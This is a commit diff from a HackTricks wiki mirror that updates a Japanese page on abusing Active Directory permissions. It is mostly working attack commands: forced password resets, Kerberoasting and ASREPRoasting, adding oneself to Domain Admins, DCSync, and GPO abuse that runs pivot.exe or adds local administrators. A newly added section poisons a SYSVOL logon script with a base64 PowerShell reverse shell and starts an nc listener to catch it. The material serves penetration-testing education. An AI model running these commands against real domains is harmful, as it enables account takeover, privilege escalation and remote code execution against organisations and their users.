mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
cb85236399
commit
b33fa516bd
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **と** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) **の手法の概要です。詳細は元の記事を参照してください。**
|
||||
**このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **と** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**の技術の要約です。詳細は元の記事を参照してください。**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,47 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll Rights on User**
|
||||
## **ユーザーに対する GenericAll 権限**
|
||||
|
||||
この権限は攻撃者にターゲットのユーザーアカウントに対する完全なコントロールを与えます。`Get-ObjectAcl` コマンドで `GenericAll` 権限が確認されたら、攻撃者は以下を行えます:
|
||||
この権限は攻撃者に対象ユーザーアカウントを完全に制御する能力を与えます。`Get-ObjectAcl` コマンドで `GenericAll` 権限が確認されると、攻撃者は次のことができます:
|
||||
|
||||
- **ターゲットのパスワードを変更する**: `net user <username> <password> /domain` を使用して、攻撃者はユーザーのパスワードをリセットできます。
|
||||
- **Targeted Kerberoasting**: ユーザーのアカウントに SPN を割り当てて kerberoastable にし、Rubeus と targetedKerberoast.py を使用して ticket-granting ticket (TGT) のハッシュを抽出し、クラッキングを試みます。
|
||||
- **対象のパスワードを変更する**: `net user <username> <password> /domain` を使用して、攻撃者はユーザーのパスワードをリセットできます。
|
||||
- Linux からは、SAMR を介して Samba の `net rpc` で同様のことができます:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **アカウントが無効になっている場合は、UACフラグをクリアする**: `GenericAll` は `userAccountControl` の編集を許可します。Linux から、BloodyAD は `ACCOUNTDISABLE` フラグを削除できます:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: ユーザーのアカウントにSPNを割り当ててkerberoastableにし、その後RubeusとtargetedKerberoast.pyを使用してticket-granting ticket (TGT)ハッシュを抽出し、crackを試みる。
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: ユーザーの pre-authentication を無効化し、そのアカウントを ASREPRoasting に対して脆弱にします。
|
||||
- **Targeted ASREPRoasting**: ユーザーの pre-authentication を無効にし、そのアカウントを ASREPRoasting に対して脆弱にします。
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **グループに対する GenericAll 権限**
|
||||
- **Shadow Credentials / Key Credential Link**: ユーザーに `GenericAll` がある場合、証明書ベースの資格情報を追加して、パスワードを変更することなくそのユーザーとして認証できます。参照:
|
||||
|
||||
この権限により、攻撃者は `Domain Admins` のようなグループに対して `GenericAll` 権限を持っている場合、グループのメンバーシップを操作できます。`Get-NetGroup` でグループの識別名を特定した後、攻撃者は次のことができます:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
- **自分自身を Domain Admins グループに追加する**: これは直接コマンドで行うか、Active Directory や PowerSploit のようなモジュールを使用して行うことができます。
|
||||
## **GenericAll** がグループに対する権利
|
||||
|
||||
この権限により、攻撃者は `Domain Admins` のようなグループで `GenericAll` 権限を持つときにグループメンバーシップを操作できます。`Get-NetGroup` でグループの識別名 (distinguished name) を特定した後、攻撃者は以下を行えます:
|
||||
|
||||
- **Domain Admins グループに自分自身を追加する**: これは直接コマンドを使用するか、Active Directory や PowerSploit のようなモジュールを使って行えます。
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
Linuxからは、BloodyADを利用して、対象グループに対してGenericAll/Writeのメンバーシップを持っている場合に任意のグループに自分を追加することもできます。対象グループが“Remote Management Users”にネストされている場合、そのグループを適用しているホストでは即座にWinRMアクセスを取得します:
|
||||
- Linuxからは、BloodyADを利用して、対象のグループに対してGenericAll/Writeのメンバーシップを保持している場合に任意のグループへ自分を追加することもできます。ターゲットグループが“Remote Management Users”にネストされている場合、そのグループを適用しているホストでは即座にWinRMアクセスを取得できます:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
これらの権限をコンピューターオブジェクトやユーザーアカウントに保持していると、以下が可能になります:
|
||||
コンピューターオブジェクトやユーザーアカウントでこれらの権限を保持していると、次のことが可能になります:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: コンピューターオブジェクトの乗っ取りが可能になります。
|
||||
- **Shadow Credentials**: この手法を用いることで、権限を利用して shadow credentials を作成し、コンピューターやユーザーアカウントを偽装できます。
|
||||
- **Kerberos Resource-based Constrained Delegation**: コンピューターオブジェクトを乗っ取ることが可能になります。
|
||||
- **Shadow Credentials**: この手法を用いて、影の資格情報を作成する権限を悪用し、コンピューターまたはユーザーアカウントになりすますことができます。
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
特定のグループ(例: `Domain Admins`)に対するすべてのオブジェクトに対して `WriteProperty` 権限をユーザーが持っている場合、次のことが可能です:
|
||||
あるユーザーが特定のグループ(例: `Domain Admins`)に対するすべてのオブジェクトの`WriteProperty`権限を持っている場合、次のことが可能になります:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: `net user` と `Add-NetGroupUser` コマンドを組み合わせることで実現可能で、この方法はドメイン内での特権昇格を可能にします。
|
||||
- **Add Themselves to the Domain Admins Group**: `net user` と `Add-NetGroupUser` コマンドを組み合わせることで実現可能で、この方法によりドメイン内での権限昇格が可能になります。
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
## **Self (Self-Membership) on Group
|
||||
|
||||
この特権により、攻撃者はグループのメンバーシップを直接操作するコマンドを使って、`Domain Admins` のような特定のグループに自身を追加できます。次のコマンド列を使用すると自己追加が可能になります:
|
||||
この特権により、攻撃者はグループメンバーシップを直接操作するコマンドを使って、`Domain Admins` のような特定のグループに自分自身を追加できます。以下のコマンドシーケンスを使用すると、自分自身を追加できます:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (自己メンバーシップ)**
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
似た権限で、攻撃者がそのグループに対して `WriteProperty` 権利を持っている場合、グループのプロパティを変更して自分自身を直接グループに追加することを可能にします。この権限の確認と実行は次の方法で行います:
|
||||
同様の権限で、攻撃者は当該グループに対して `WriteProperty` 権限を持っている場合、グループのプロパティを変更することで自分自身を直接グループに追加できます。この権限の確認と実行は次の方法で行われます:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
ユーザーに対する `ExtendedRight` の `User-Force-Change-Password` を保持していると、現在のパスワードを知らなくてもパスワードをリセットできます。この権利の確認と悪用は PowerShell や代替のコマンドラインツールで行え、対話的セッションや非対話環境向けの one-liners を含む、ユーザーのパスワードをリセットするいくつかの方法が提供されます。コマンドは単純な PowerShell 呼び出しから Linux 上での `rpcclient` の使用まで幅があり、攻撃ベクターの多様性を示しています。
|
||||
ユーザーに対して`User-Force-Change-Password`の`ExtendedRight`を保持していると、現在のパスワードを知らなくてもパスワードをリセットできます。この権利の確認および悪用はPowerShellや他のコマンドラインツールで行え、対話型セッションや非対話型環境向けのワンライナーなど、ユーザーのパスワードをリセットする複数の方法が提供されています。コマンドは単純なPowerShell呼び出しからLinux上での`rpcclient`の使用まで及び、attack vectorsの多様性を示しています。
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **グループにおける WriteOwner**
|
||||
## **WriteOwner on Group**
|
||||
|
||||
攻撃者がグループに対して `WriteOwner` 権限を持っていることを発見した場合、そのグループの所有権を自身に変更できます。これは対象のグループが `Domain Admins` である場合に特に影響が大きく、所有権を変更することでグループの属性やメンバーシップに対するより広い制御が可能になります。手順としては、`Get-ObjectAcl` で正しいオブジェクトを特定し、`Set-DomainObjectOwner` を使用して所有者を SID または名前で変更します。
|
||||
攻撃者があるグループに対して`WriteOwner`権限を持っていることを発見した場合、そのグループの所有者を自分に変更できます。対象のグループが`Domain Admins`である場合、この操作は特に影響が大きく、所有権を変更することでグループの属性やメンバーシップに対してより広範な制御が可能になります。手順は`Get-ObjectAcl`で正しいオブジェクトを特定し、`Set-DomainObjectOwner`を使用して所有者をSIDまたは名前で変更する、というものです。
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on ユーザー**
|
||||
|
||||
この権限により、攻撃者はユーザーの属性を変更できます。具体的には、`GenericWrite`アクセスを持つと、攻撃者はユーザーのログオンスクリプトのパスを変更して、ユーザーのログオン時に悪意のあるスクリプトを実行させることができます。これは、`Set-ADObject`コマンドを使用して対象ユーザーの`scriptpath`プロパティを攻撃者のスクリプトを指すように更新することで実現します。
|
||||
この権限により、攻撃者はユーザーの属性を変更できます。具体的には、`GenericWrite` アクセスを持つことで、攻撃者はユーザーのログオンスクリプトのパスを変更し、ユーザーのログオン時に悪意のあるスクリプトを実行させることができます。これは、`Set-ADObject` コマンドを使用してターゲットユーザーの `scriptpath` プロパティを攻撃者のスクリプトを指すように更新することで実現します。
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
この権限があれば、攻撃者は自身や他のユーザーを特定のグループに追加するなど、グループのメンバーシップを操作できます。この手順では、credential object を作成し、それを使ってユーザーをグループに追加または削除し、PowerShell コマンドでメンバーシップの変更を検証します。
|
||||
この特権により、攻撃者は自身や他のユーザーを特定のグループに追加するなど、グループのメンバーシップを操作できます。このプロセスでは credential object を作成し、それを使ってユーザーをグループに追加または削除し、PowerShell コマンドでメンバーシップの変更を確認します。
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Linux上では、Samba `net` はグループに対して `GenericWrite` を保持している場合、メンバーの追加/削除が可能です(PowerShell/RSAT が利用できない場合に便利です):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
ADオブジェクトを所有し、かつそのオブジェクトに対して `WriteDACL` 権限を持っていると、攻撃者は自身に当該オブジェクトの `GenericAll` 権限を付与できます。これは ADSI 操作によって行われ、オブジェクトの完全な制御やグループメンバーシップの変更を可能にします。とはいえ、Active Directory モジュールの `Set-Acl` / `Get-Acl` コマンドレットを使ってこれらの権限を悪用しようとする場合には制限があります。
|
||||
AD オブジェクトを所有し、かつ `WriteDACL` 権限を持っていると、攻撃者はそのオブジェクトに対して自分自身に `GenericAll` 権限を付与できます。これは ADSI の操作によって達成され、オブジェクトの完全な制御とグループメンバーシップの変更能力を可能にします。しかしながら、Active Directory モジュールの `Set-Acl` / `Get-Acl` コマンドレットを使ってこれらの権限を悪用しようとする際には制限があります。
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,67 +141,140 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
### WriteDACL/WriteOwner を使った迅速な乗っ取り (PowerView)
|
||||
|
||||
ユーザーまたはサービスアカウントに対して `WriteOwner` と `WriteDacl` を持っている場合、PowerView を使って古いパスワードを知らなくてもアカウントを完全に制御し、パスワードをリセットできます:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
注意:
|
||||
- 自分に `WriteOwner` 権限しかない場合は、まず所有者を自分に変更する必要があるかもしれません:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- パスワードリセット後に、任意のプロトコル (SMB/LDAP/RDP/WinRM) でアクセスを検証する。
|
||||
|
||||
## **ドメイン上でのレプリケーション (DCSync)**
|
||||
|
||||
DCSync攻撃は、ドメイン上の特定のレプリケーション権限を悪用してドメインコントローラを模倣し、ユーザー資格情報を含むデータを同期します。この強力な手法は `DS-Replication-Get-Changes` のような権限を必要とし、攻撃者がドメインコントローラへ直接アクセスしなくてもAD環境から機密情報を抽出できます。 [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPOの委任 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPOの委任
|
||||
|
||||
Group Policy Objects (GPOs) の管理を委任されたアクセスは重大なセキュリティリスクとなり得ます。例えば、`offense\spotless` のようなユーザーが GPO 管理権限を委任されている場合、**WriteProperty**, **WriteDacl**, **WriteOwner** といった特権を持っている可能性があります。これらの権限は悪用され得ます。PowerView を使って識別する例: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### GPOの権限列挙
|
||||
### GPO権限の列挙
|
||||
|
||||
誤設定された GPO を特定するために、PowerSploit の cmdlet を連鎖させることができます。これにより、特定のユーザーが管理権限を持つ GPO を発見できます: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**特定のポリシーが適用されているコンピュータ**: どのコンピュータに特定の GPO が適用されているかを解決することで、影響範囲を把握できます。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**特定のポリシーが適用されているコンピューター**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**特定のコンピュータに適用されているポリシー**: 特定のコンピュータにどのポリシーが適用されているかを確認するには、`Get-DomainGPO` のようなコマンドを使用できます。
|
||||
**特定のコンピューターに適用されているポリシー**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
|
||||
|
||||
**特定のポリシーが適用されているOU**: 指定されたポリシーが影響を与えている組織単位 (OU) を特定するには `Get-DomainOU` を使用できます。
|
||||
**特定のポリシーが適用されているOU**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`.
|
||||
|
||||
GPO を列挙して問題点を見つけるには、ツール [**GPOHound**](https://github.com/cogiceo/GPOHound) も使用できます。
|
||||
You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them.
|
||||
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
### GPOの悪用 - New-GPOImmediateTask
|
||||
|
||||
誤設定された GPO はコード実行に悪用される可能性があり、例えば即時の scheduled task を作成することで実行できます。これにより、影響を受けるマシンにユーザーをローカル管理者グループへ追加し、権限を大幅に昇格させることが可能です:
|
||||
Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
GroupPolicy moduleがインストールされていると、新しいGPOsの作成とリンク、および影響を受けたコンピュータでbackdoorsを実行するためのregistry valuesなどの設定を行うことができます。この方法は、GPOが更新され、実行のためにユーザがコンピュータにログインする必要があります:
|
||||
GroupPolicy moduleがインストールされている場合、新しい GPO を作成してリンクし、registry values のような設定(preferences)を行って影響を受けたコンピュータ上で backdoors を実行させることができます。この方法は、GPO が更新され、ユーザがコンピュータにログインして初めて実行されます:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuseは、既存の GPOs にタスクを追加したり設定を変更したりして、新しい GPOs を作成することなく悪用する方法を提供します。
|
||||
このツールを使用して変更を適用するには、既存の GPOs を修正するか、RSAT ツールを使用して新しいものを作成する必要があります:
|
||||
SharpGPOAbuse は、新しい GPOs を作成することなく、既存の GPOs にタスクを追加したり設定を変更したりして悪用する方法を提供します。このツールは、変更を適用する前に既存の GPOs を修正するか、RSAT ツールを使って新しいものを作成することを必要とします:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### ポリシーの強制更新
|
||||
|
||||
GPOの更新は通常約90分ごとに行われます。このプロセスを迅速化するため、特に変更を実施した直後は、ターゲットコンピュータ上で `gpupdate /force` コマンドを使用して即時にポリシー更新を強制できます。このコマンドにより、次の自動更新サイクルを待たずにGPOへの変更が適用されます。
|
||||
GPOの更新は通常約90分ごとに行われます。このプロセスを速めるため、特に変更を適用した直後には、ターゲットコンピュータで`gpupdate /force`コマンドを使用して即時のポリシー更新を強制できます。このコマンドにより、次回の自動更新サイクルを待つことなくGPOへの変更が適用されます。
|
||||
|
||||
### 内部の仕組み
|
||||
|
||||
特定のGPO、例えば `Misconfigured Policy` のScheduled Tasksを確認すると、`evilTask` のようなタスクが追加されていることが確認できます。これらのタスクは、システムの挙動を変更したり権限を昇格させたりすることを目的としたスクリプトやコマンドラインツールによって作成されます。
|
||||
特定のGPO(例: `Misconfigured Policy`)のScheduled Tasksを調べると、`evilTask`のようなタスクが追加されていることが確認できます。これらのタスクは、システムの動作を変更したり権限を昇格させたりすることを目的としたスクリプトやコマンドラインツールによって作成されます。
|
||||
|
||||
タスクの構造は、`New-GPOImmediateTask` によって生成されたXML構成ファイルに示されているように、実行されるコマンドやトリガーを含むスケジュールタスクの詳細を明示しています。このファイルは、GPO内でスケジュールタスクがどのように定義・管理されるかを表しており、ポリシー適用の一環として任意のコマンドやスクリプトを実行する手段を提供します。
|
||||
`New-GPOImmediateTask`で生成されたXML構成ファイルに示されるタスクの構造は、実行されるコマンドやそのトリガーを含め、スケジュールタスクの詳細を示します。このファイルは、GPO内でスケジュールタスクがどのように定義・管理されているかを表しており、ポリシー適用の一環として任意のコマンドやスクリプトを実行する手段を提供します。
|
||||
|
||||
### ユーザーとグループ
|
||||
|
||||
GPOはターゲットシステム上のユーザーやグループのメンバーシップを操作することも可能にします。Users and Groupsのポリシーファイルを直接編集することで、攻撃者はローカルの `administrators` グループのような特権グループにユーザーを追加できます。これはGPO管理権限の委任により可能となり、ポリシーファイルを変更して新しいユーザーを追加したりグループメンバーシップを変更したりすることが許可されます。
|
||||
GPOはターゲットシステム上のユーザーやグループのメンバーシップを操作することも可能にします。Users and Groupsポリシーファイルを直接編集することで、攻撃者はローカルの`administrators`グループのような特権グループにユーザーを追加できます。これはGPO管理権限の委任を通じて可能となり、ポリシーファイルに新しいユーザーを含めたりグループメンバーシップを変更したりすることが許されます。
|
||||
|
||||
Users and Groups用のXML構成ファイルは、これらの変更がどのように実施されるかを示します。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格権限を付与できます。この方法はGPO操作を通じた直接的な権限昇格の手段を提供します。
|
||||
Users and Groups用のXML構成ファイルは、これらの変更がどのように実装されるかを示します。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格した権限を付与できます。この方法はGPO操作を通じた直接的な権限昇格手段を提供します。
|
||||
|
||||
さらに、logon/logoffスクリプトの利用、autoruns用のレジストリキーの変更、.msiファイルを介したソフトウェアのインストール、サービス構成の編集など、コード実行や永続化のための追加手法も考えられます。これらの手法は、GPOの悪用を通じてアクセスを維持しターゲットシステムを制御するためのさまざまな方法を提供します。
|
||||
さらに、logon/logoff scriptsの利用、autoruns用のレジストリキーの変更、.msi files経由でのソフトウェアインストール、service configurationsの編集といった、コード実行や永続化のための追加手法も考慮できます。これらの技術は、GPOの悪用を通じてアクセスを維持しターゲットシステムを制御するさまざまな手段を提供します。
|
||||
|
||||
## 参考文献
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
`\\<dc>\SYSVOL\<domain>\scripts\` または `\\<dc>\NETLOGON\` の下にある書き込み可能なパスは、GPOを通じてユーザーログオン時に実行されるログオンスクリプトを改ざんすることを可能にします。これにより、ログオンしているユーザーのセキュリティコンテキストでコードが実行されます。
|
||||
|
||||
### ログオンスクリプトの特定
|
||||
- ユーザー属性を確認して設定されたログオンスクリプトを調べる:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- ドメイン共有をクロールして、ショートカットやスクリプトへの参照を検出する:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- `.lnk` ファイルを解析して、SYSVOL/NETLOGON を指すターゲットを解決する(有用な DFIR トリックで、直接 GPO access を持たない attackers に役立つ):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound は、存在する場合、ユーザー ノードに `logonScript` (scriptPath) 属性を表示します。
|
||||
|
||||
### 書き込みアクセスを検証する(共有一覧を信用しない)
|
||||
自動化ツールは SYSVOL/NETLOGON を読み取り専用として表示することがありますが、基盤となる NTFS ACLs が書き込みを許可する場合があります。必ずテストしてください:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
ファイルサイズや mtime が変更されている場合、書き込み権限があります。変更する前にオリジナルを保存してください。
|
||||
|
||||
### Poison a VBScript logon script for RCE
|
||||
PowerShell reverse shell を起動するコマンドを追記し(revshells.com で生成したものを使用)、業務機能を壊さないように元のロジックは維持してください:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
ホストで待ち受け、次のインタラクティブログオンを待ってください:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
メモ:
|
||||
- 実行はログオン中のユーザーのトークンで行われます(not SYSTEM)。スコープはそのスクリプトを適用している GPO リンク(OU、site、domain)です。
|
||||
- 使用後は元のコンテンツ/タイムスタンプを復元してクリーンアップしてください。
|
||||
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
@ -188,5 +283,9 @@ Users and Groups用のXML構成ファイルは、これらの変更がどのよ
|
||||
